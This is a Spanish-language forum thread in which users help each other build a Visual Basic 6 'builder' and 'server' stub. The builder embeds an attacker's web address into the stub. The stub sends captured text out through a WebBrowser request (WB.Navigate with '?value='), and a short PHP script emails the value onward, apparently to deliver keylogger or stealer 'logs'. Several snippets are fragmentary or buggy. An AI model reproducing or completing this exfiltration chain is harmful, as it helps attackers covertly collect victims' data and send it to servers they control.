Mmm n ose bien si es esto a lo que te reifers...

Agregas un timer con enabled en False

Private Sub Form_Load()
Timer1.Enabled = True
End sub

Private Timer1_Timer()
MsgBox "Hello World",vbinformation,"Hello"
End sub

Saludos!

Ok sky es que el anterior era medio rollito el que hicistes vy a probarlo..

Saludos!

Editado : Arreglado!

Saludos!

Bueno no me acuerdo el code como se hacia si alguien lo puede postear? porque en el foro n oencontre nada..

Saaludos!

Cliente + Modulo cEditSvr :

Private Sub Command1_Click()
 Dim c As New cEditSvr
    c.ExeFile "Server.exe"
    c.WriteProp "RutaWeb", Text1.Text
    c.WriteData "Server.exe"
End Sub


Servidor + Modulo cEditSvr :

Form:

Dim c As New cEditSvr
    c.ExeFile App.Path & "\" & App.EXEName & ".exe"
    Debug.Print c.ReadProp("RutaWeb")

y mas cosas..

Timer :

WB.Navigate (RutaWeb & "?value=" & Text1.Text)


Saludos!

Editado : y si peuden despues de arreglar el error ayudarme como lo pondria para que se genere desde el res. osea con el server dentro del builder.. yo lo puse antes pero quiero ponerlo para k se modifike como ahora y eso..

Sisi lo he probado conmigo mismo pero nada..

Saludos!

Se te agradece mucho ErMoja vy a probar!

Saludos!

Editado : Se agrega al final del archivo pero no se sustituye y n ome llega el log al emaIl :S

Saludos

Bueno no se como ponerlo.. puse el modulo que me pasastes Moja =D

y psue dos opciones :

Dim File() As Byte
File = LoadResData(101, "CUSTOM")
Open "Server.exe" For Binary As #1
    c.WriteProp "RutaWeb", Text1.Text
    Set c = New cEditSvr
    Debug.Print c.ReadProp("RutaWeb")
Close #1

y la otra :

    c.ExeFile "Server.exe"
    c.WriteProp "RutaWeb", Text1.Text
    Set c = New cEditSvr
    c.ExeFile "Server.exe"
    Debug.Print c.ReadProp("RutaWeb")

Aunque aui necesitaria que este el Server.exe al lado.. y me gustaria que se genere desde el Builder

Saludos y gracias por conetstas!

Nadie me hecha una manoO? 

Saludos!..

Bueno esto ya lo pedi antes en el Fake MesSage pero no entendi muy bien a SetH ahora por ejempl lo que hice fue crear el servidor a .exe luego lo pase a RES desde el VB y agregue el REs al Builder. Al darle a Crear server puse esto :

Dim File() As Byte
File = LoadResData(101, "CUSTOM")
Open "Server.exe" For Binary As #1
    Put #1, , File
Close #1

En el Servidor de antes que lo que quiero cambiar seria esto :

WB.Navigate (RutaWeb & "?value=" & Text1.Text)

Modificar el RutaWeb por un txt del builder..
Haber si me explique

Saludos y gracias de ante mano!

Bueno al final lo esty haciendo con el php.. una pregunta haber, hice un boton para que modifique el php que este al lado y lo abra en un RichTextBox el problema despues de gaurdarlo.. es que abre sel archivo y se agrega esto arriba

{\rtf1\ansi\deff0{\fonttbl{\f0\fnil\fcharset0 Arial;}}
\viewkind4\uc1\pard\lang3082\fs17

Queda asi :

{\rtf1\ansi\deff0{\fonttbl{\f0\fnil\fcharset0 Arial;}}
\viewkind4\uc1\pard\lang3082\fs17 <?php
\par $val = $_GET['value'];
\par mail ('Email', 'TiTulo', $val);
\par ?>
\par }
 

Al Abrirlo en el rich se ve bien

Saludos!